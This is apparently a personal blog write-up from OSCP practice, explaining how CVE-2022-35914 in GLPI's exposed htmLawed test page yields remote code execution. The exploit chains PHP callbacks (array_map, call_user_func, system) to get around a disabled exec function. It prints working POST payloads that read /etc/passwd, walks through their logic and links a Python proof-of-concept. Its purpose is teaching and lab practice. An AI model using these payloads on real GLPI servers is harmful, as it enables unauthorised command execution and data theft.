Charting a path to RCE thru PHP callbacks
In my prep for the OSCP exam, I came across a somewhat controversial box: GLPI. It’s recommended on TJnull’s very popular OSCP practice list, and is listed in OffSec’s Proving Grounds platform as an “Easy” machine. After beating my head against it for a few hours, I took a look at the somewhat hidden hover tooltip for this machine, and discovered that the community doesn’t quite agree with OffSec’s rating:
This extreme disparity raised both my eyebrows and curiosity. My enumeration had led me to what I was sure was the intended foothold for this machine: CVE-2022–35914. But the public exploit, published by the apparent author of this box, Mayfly, was not working at all, and no amount of tweaking or modification was getting me results.
Eventually, after exhausting my options, I caved and read the official walkthru for the box. It provides a solution, but didn’t do a thorough enough job of explaining for me to understand how and why this payload would work in the situation. Googling the box found me a couple of user-made walkthrus; one of which provides a faulty solution, and another which repeats the same leaps in logic as the official walkthru (-_-)
Some google dorking thru the OSCP subreddit revealed a lot of similarly frustrated folks, and not a single person that could cogently explain this payload, so I got together with my dear webdev friend Alex to get to the bottom of it.
Understanding what makes this exploit tick requires a bit of basic programming knowledge, which luckily I have from my experience in webdev and hobby coding prior to my journey into the security realm. With some curiosity and elbow grease I was able to not only understand the solution, but craft my own that cuts out some unneeded complexity from the ‘official’ one! Read on for a breakdown, and a PoC exploit script I’ve published to my GitHub. (EDIT: I’ve also updated the nuclei scanning template for CVE-2022–35914 to detect the more complex version of this vuln)
Note to OSCP students: After reverse engineering the payload request and uncovering the complexity of the exploit, I made my own reddit post about the box. TJ_null himself was summoned, revealed that he has gotten a lot of feedback about this particular box, and was now reclassifying it in his list as a “Post OSCP Challenge”, where you’ll find it today. While there was a general consensus that this foothold was outside the scope of the OSCP course, both he and I encourage any OSCP students to dive into this box, as it is a rather ingenious design, and an excellent learning opportunity that will certainly help you in your journey to pass the exam!
Lets dive in!
The “Vanilla” Vulnerability
To set the stage, first, let’s take a quick look at CVE-2022–35914. It’s an RCE vuln in the htmLawed PHP module (this module is, ironically, a security script to sanitize user inputs). The aforementioned Mayfly has a great writeup on it that I won’t retread here too much. The vulnerability exists specifically in the htmLawed test page which we find exposed to the public as is default on GLPI installations (the software this box is named for, and of course, running).
<GLPIwebroot>/vendor/htmlawed/htmlawed/htmLawedTest.php
As Mayfly explains, the test page passes the user input from the top text box to the function specified in the highlighted “hook” input above. This provides easy RCE, as we can just specify PHP’s exec
function as the hook, which will result in the user input being passed to the OS as a command.
On the surface, this seems like a simple and easy win, but it’s actually a bit of a stroke of luck. If you initially skimmed Mayfly’s walkthru like me, you might have missed a crucial bit of info: under the hood, htmLawed doesn't just pass your input to the hook function. It also passes two config arrays of its own design. Mayfly has done the dirty work of digging thru htmLawed’s source code to show us the line where our hook function is called:
$C['hook']($t, $C, $S)
To translate this line of code to illustrate our situation:
exec($your_text_input, $config_array[], $spec_array[])
PHP’s exec
function happens to fit this vuln like a glove for two reasons:
- In addition to the first (mandatory) command argument,
exec
can take two optional arguments.
— PHP will tolerate incorrectly typed arguments - these arguments have no bearing on the execution of the function
—exec
disregards the contents of these two optional arguments and overwrites/appends to them
This creates an ideal circumstance for our exploit, as exec
isn’t bothered at all by the extra arguments that htmLawed is passing it, and will execute our command without interruption.
As the icing on the cake, exec
returns the output of the executed command neatly to the htmLawed test page output field, turning this well intentioned test page into a functional webshell. What luck!…..
Complicating Mitigations
Unfortunately this straightforward approach doesn't work at all on the box. We’re simply given our input text back unchanged in the output.
Upon closer investigation, like any sane PHP admin, Mayfly has disabled the exec
function in the PHP configuration. Thru some simple dirbusting we can find the phpinfo page at /phpinfo.php
confirming this:
Conspicuously missing from the banlist though, are the other classically exploitable PHP command execution functions, like system()
, passthru()
, shell_exec()
, et. al.
Easy peasy then, let’s just give it system
as the hook and be on our way!
Huh. That didn’t work either. The page returns a blank output indicating that it did at least try and execute our hook, but something isn't right. We get the same [non]results from passthru()
, shell_exec()
, and several others…. and this is precisely where this box goes from OffSec “Easy” to Community Rated “Very Hard”.
htmLawed’s extra argument arrays are now causing problems for us. Unlike exec
, the other PHP program execution functions won’t take three arguments. In a frenzy of research, I think I may have found one or two convoluted options that did, but even then, the contents of the arrays are processed by the function and muck things up. In order to get RCE out of this, we may need to work with the arrays rather than simply disregarding them.
This is the point where an exploit path gets exciting: we have enough information to see that we’re close — we’re not down a rabbit hole, we’re acting on well-enumerated facts we’ve confirmed in our environment, but we’re missing something… what could it be?
To find out, we have to dig quite a bit deeper.
The Payload
Right now we’ve exercised control of two parameters: the input text, and the hook function. We also know that several PHP command execution functions are enabled. If we can somehow route our input through htmLawed and PHP’s logic and pass it to a function like system
, without throwing any errors that will halt execution, we will have RCE. Achieving this is a bit byzantine though, so let’s take it one step at a time.
The Hook Function
The first thing we need, is a function that will take 3 arguments (2 of them arrays), and allow us a path to pass arbitrary commands forward to be executed. At this point my coding spidey sense was tingling: we need a function that takes a callback function as an argument.
The one that comes to mind first is the “map” variety of function that is included in many modern programming languages. The essence of these functions, is that they take an input array (or other “iterable” object), and run a user specified callback function on each item of the array.
A simple demonstration I wrote in python (for easy readability):
array = [1,2,3]
def plusOne(n):
return n + 1
result = map(plusOne, array)
print(list(result))
# output
[2, 3, 4]
Our use case is a bit more complex than this though — we will be passing in two arrays. This is where the exploit becomes pretty clever — and a bit mind-twistingly recursive.
So what happens when we pass two arrays into a map function? While languages differ in their implementations, map()
functions, in general, will take an array per argument that the callback function expects.
In this case, we’ll be using PHP’s array_map()
. Here’s a simple demonstration in PHP with two arrays and an addition function:
$array1 = [1,2,3];
$array2 = [2,3,4];
function add($a,$b)
{
return $a + $b;
}
$result = array_map('add', $array1, $array2);
print_r($result);
# output
Array
(
[0] => 3
[1] => 5
[2] => 7
)
As you can see, array_map
will take the first item from $array1
, and the first item from $array2
, and pass them together to my add()
function, where they are summed to make the first element of the $result
array. This logic continues with the 2nd elements of the input arrays, on indefinitely to the nth element thru the end of the array.
Another interesting proclivity of PHP here is that the name of the callback function is passed as a string, which may be what enables us to pass in our callback as plain text later in the exploit. I can’t help but wonder if an exploit of this variety would work in a more modern language like JSX/JavaScript…
With this understanding, we can see some potential here. We can use array_map
as a hook function, which will execute a callback function of our choice on the elements of htmLawed’s config arrays.
Now we need to take a closer look at the arrays themselves.
POST Request Parameter Sleuthing
What exactly are these arrays, and what is in them? If we’re going to coax RCE out of them, we need to find out how they are constructed, and find a way to control their contents fairly precisely. First, lets intercept the test page’s submission POST request in Burp Suite:
Buried in the request body we can see our input command in the text
parameter, and our failed hook function system
with a parameter name of hhook
. A closer look reveals that many of these parameters start with the letter h
, and seem to correspond with the config options we are presented with in the UI of the test page:
A closer look at the htmLawed source code from Mayfly’s writeup confirms this:
if($do){
$cfg = array();
foreach($_POST as $k=>$v){
if($k[0] == 'h' && $v != 'nil'){
$cfg[substr($k, 1)] = $v;
}
}
It seems that the config array (here named $cfg
, later passed as $C
to our hook function) is constructed from the POST request by taking the contents of every parameter that starts with the letter h
. This is quite interesting for us, as we can deduce that not only can we alter the values of these parameters in the POST request, we can arbitrarily insert our own parameters as well, as long as they start with h
. This gives us the degree of control we are going to need here.
Now we need to take a look at the second array. We can see the spec
parameter in our POST request contains whatever we put in the “Spec: ” text box at the bottom of the test page settings UI:
Unfortunately, we see the HTTP parameter in our request is sent as a single string rather than an array:
spec=a%2C+b%2C+c
However, we see in htmLawed’s source code that it expects an array for the final argument:
function htmLawed($t, $C=1, $S=array())
We can surmise that at some point, the spec input is parsed into an array before passing it as $S
to our hook function, but we’d like more control than that. After some research, I found that PHP will allow us to specify an array element by element in the HTTP parameters, like this:
spec[0]=a&spec[1]=b&spec[2]=c
and htmLawed will successfully parse these individual elements into our $S
array argument.
We need to guarantee that $S
will arrive at our hook function as an array, not a string, in order to satisfy the requirements of array_map
. But furthermore, this grants us precise control of each element of the array and its position, which will become important in a moment.
Finally, thru process of elimination, I discovered that we can safely remove the vast majority of the parameters and headers from the request without upsetting htmLawed. This leaves us with a cleaner and easier to understand payload, containing only the parameters we need for the exploit, and one mandatory cookie/token named sid
that must match the cookie from your header.
Putting together what we’ve got so far:
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 192.168.249.242
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Connection: close
Cookie: sid=<cookie>
text=<callbackFunction>&hhook=array_map&hfoo=<input>&spec[0]=<input>&spec[1]=<input>&sid=<cookie>
Note our newly made-up
hfoo
parameter.
Now we’ve got full control of the arrays that will be run thru our hook function, array_map
.
Picking A Callback Function
For the final piece of this exploit, we need to decide what function array_map
will call on the elements of htmLawed’s config arrays. We need a function that takes 2 arguments (which will come from the respective arrays we control), and result in command execution.
Note: experienced web hackers may spot an effecient choice here, but for learning purposes, let’s first walk thru the official guide’s choice,
call_user_func
PHP’s call_user_func
fits the bill here — it takes 2 arguments: (another!) callback function, and a command to pass to that callback function. If we can manipulate our arrays to match an enabled PHP command exec function such as system
, with an arbitrary command of our choice such as cat /etc/passwd
, we will have achieved RCE!
But there’s one last complication — and this is where the payload reaches its Inception-esque peak of callback trickery— our hook function array_map
is necessarily a part of the config array which will be fed into itself!
Threading the Recursive Needle
The first callback function that call_user_func
receives will always be array_map
(or so the guide’s author seems to presume — more on that later), and this is where the granular control of the spec
parameter becomes relevant. Before we arrive at our juicy RCE, we have to get thru a superfluous call to array_map
, and supply it an argument that wont upset PHP enough to halt execution before we arrive at the second iteration where the good stuff happens.
To accomplish this, we pad the first element of the spec $S
array with an empty parameter (which PHP will parse to null
), and put our desired command in the second element of the spec array, where it will be matched with the second element of the config $C
array, our made-up parameter hfoo
with the value of system
. Confused yet?
Here’s the final successful payload body:
text=call_user_func&hhook=array_map&hfoo=system&spec[0]=&spec[1]=cat+/etc/passwd&sid=<cookie>
And here’s a breakdown of the resulting program logic:
# reference reminder of htmLawed's original hook function call
$C['hook']($t, $C, $S);
# translated to our situation
array_map('call_user_func', $C, $S);
# contents of our arrays parsed from the POST req payload
$C = ['array_map', 'system'];
$S = [null, 'cat /etc/passwd'];
# first iteration of array_map
call_user_func('array_map', null);
# output (note that this is a warning, not an error, thus will not halt execution
PHP Warning: Uncaught ArgumentCountError: array_map() expects at least 2 arguments, 1 given
# second iteration of array_map
call_user_func('system', 'cat /etc/passwd');
# output (RCE!)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
Here’s what it looks like in practice:
You’ll find the output of your command on line 381 of the HTTP response, and there we have it — thru the labyrinth of PHP callbacks we finally arrived at some well-earned arbitrary remote code execution!
Going One Step Further
If you’re like me, at some step in this process you might have wondered if there was a simpler way to accomplish this. I appreciate Mayfly’s creative solution that respects and satisfies this myriad of branching PHP function signatures and argument requirements, and I learned a lot by dissecting it, but some inquisitive tinkering revealed that much of it was ultimately unnecessary.
For one thing, does array_map
really need to be in that pesky first position in the config array? Nope. We can simply put our parameter first in the request, our command in the first element of the spec array (we don't even need to specify a position).
text=call_user_func&hwhatever=system&hhook=array_map&spec[]=cat+/etc/passwd&sid=<cookie>
You’ll also notice that we can set the value of the
sid
cookie to whatever we want, as long as it’s present and matches in the header and params.
This is a nice step but doesn’t reduce the complexity that much. To pare this down to the sleekest viable payload, let’s rewind to the point of choosing a callback function for array_map
in the first place.
While call_user_func
certainly does the job, and makes sense in the context of the two arrays we have to deal with, it turns out that we don’t actually have to deal with two arrays. Why not just choose system
as the callback function and skip a whole layer of this maze?
What the author of OffSec’s walkthru may not have realized, is that we can actually drop the spec array entirely from the request without consequence. We then put system
in the “text” parameter of our request as the callback function, and can place its command in the first parameter of the config array as our made-up hfoo
parameter. This gives us a fully effective RCE payload with just 4 parameters and none of the convoluted spec wrangling.
text=system&hfoo=cat+/etc/passwd&hhook=array_map&sid=<cookie>
Perhaps the greatest advantage of this simplified approach is that our arbitrary commands will be executed first, before the pesky recursive second call to array_map
. This gives our exploit some additional resilience to mitigations such as PHP’s strict mode, which would likely throw an error on this second call to array_map
and halt execution. With this sleeker payload, by the time that error hits the stack, our command has already executed and PHP can throw all the errors it wants for all we care :)
Automating the Process
To cap off this learning expedition, I decided to craft a python exploit script. There are a few existing PoC’s that exploit the “vanilla” version outlined above and in Mayfly’s original disclosure, but none that will work with the more complex and realistic case that we find on this box where exec
or other functions are disabled.
It was quick work to adapt one of the existing PoC’s to add the necessary parameters and parse the command output in its new location in the response, and my script also allows the specification of the hook
and callback
functions used, for adaptability to get around mitigations in the PHP config. If a single suitable hook function and a single execution function are enabled, this script will get you RCE!
https://github.com/allendemoura/CVE-2022-35914
Try it out and let me know what you think!
Credit to Sébastien Copin for the original PoC I adapted.
I’ve also updated the nuclei scanning template for CVE-2022–35914 to detect the more complex version of this vuln!
Closing Thoughts
Thru all of this research I wondered how any OSCP student could be expected to have crafted this payload from scratch based on pure enumeration in a black box environment… until I noticed a key piece of info in a faint gray caption beneath one of the last screenshots in Mayfly’s original CVE disclosure:
This revelation highlights a constant tension in the tradecraft of any offensive security practitioner: on the one hand, if we all read every word of every page we landed on in our initial search for a foothold…we’d never make it back to the terminal to run an exploit, completely lost in the weeds. Whether its a timed exam or lab environment, or a set length pentest or red team engagement — time is always a factor for the professional ethical hacker. However, all too often we find situations like the one above, where spending one more minute, scrolling just a bit slower, reading just one more line would have made the difference between landing a foothold or not (in this case, it would’ve saved me a couple hours of reading PHP function documentation). Ultimately, this comes down to a quest for balance, and this was the final learning experience for me that this box had to offer.
After this project, I think I’ll take a well-deserved break from PHP callback functions for a bit…but I’ll bet there are even more ways to exploit this vulnerability, if array_map
was disabled, for instance. If you’ve read this far, I encourage you take a crack yourself and see if you can chart your own path thru the maze of function calls. Whether or not you land a shell, I’m confident you’ll learn something along the way! Thanks for reading.